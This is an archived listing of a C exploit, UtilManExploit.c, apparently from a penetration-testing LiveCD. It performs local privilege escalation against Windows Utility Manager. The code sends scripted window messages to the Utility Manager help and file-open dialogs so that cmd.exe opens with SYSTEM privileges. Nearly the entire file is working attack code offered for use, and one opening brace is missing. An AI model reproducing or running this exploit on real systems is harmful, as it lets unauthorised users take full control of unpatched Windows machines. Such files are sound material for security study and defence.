home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / local / UtilManExploit.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  77 lines

  1. // By Cesar Cerrudo (cesar@appsecinc.com)
  2. // Local elevation of priviliges exploit for Windows Utility Manager
  3. // Gives you a shell with system privileges
  4. // If you have problems try changing Sleep() values.
  5.  
  6. #include <stdio.h> 
  7. #include <windows.h> 
  8. #include <commctrl.h>
  9. #include <Winuser.h>
  10.  
  11. int main(int argc, char *argv[]) 
  12.   HWND lHandle, lHandle2;
  13.   POINT point;
  14.  
  15.   char sText[]="%windir%\\system32\\cmd.ex?";
  16.  
  17.   // run utility manager
  18.   system("utilman.exe /start");
  19.   Sleep(500);
  20.  
  21.   // execute contextual help
  22.   SendMessage(FindWindow(NULL, "Utility manager"), 0x4D, 0, 0);
  23.   Sleep(500);
  24.  
  25.   // open file open dialog windown in Windows Help
  26.   PostMessage(FindWindow(NULL, "Windows Help"), WM_COMMAND, 0x44D, 0);
  27.   Sleep(500);
  28.  
  29.   // find open file dialog window
  30.   lHandle = FindWindow("#32770","Open");
  31.  
  32.   // get input box handle
  33.   lHandle2 = GetDlgItem(lHandle, 0x47C);
  34.   Sleep(500);
  35.  
  36.   // set text to filter listview to display only cmd.exe
  37.   SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)sText);
  38.   Sleep(800);
  39.  
  40.   // send return
  41.   SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);
  42.  
  43.   //get navigation bar handle
  44.   lHandle2 = GetDlgItem(lHandle, 0x4A0);
  45.   //send tab
  46.   SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);
  47.   Sleep(500);
  48.   lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);
  49.   //get list view handle
  50.   lHandle2 = GetDlgItem(lHandle2, 0x1);
  51.  
  52.   SendMessage (lHandle2, WM_IME_KEYDOWN, 0x43, 0); // send "c" char
  53.   SendMessage (lHandle2, WM_IME_KEYDOWN, 0x4D, 0); // send "m" char
  54.   SendMessage (lHandle2, WM_IME_KEYDOWN, 0x44, 0); // send "d" char
  55.   Sleep(500);
  56.   
  57.   // popup context menu
  58.   PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0);
  59.   Sleep(1000);
  60.  
  61.   // get context menu handle
  62.   point.x =10; point.y =30;
  63.   lHandle2=WindowFromPoint(point);
  64.  
  65.   SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0);   // move down in menu
  66.   SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0);   // move down in menu
  67.   SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return
  68.  
  69.   SendMessage (lHandle, WM_CLOSE,0,0); // close open file dialog window
  70.  
  71.   return(0);
  72. }
  73.  
  74.  
  75.  
  76.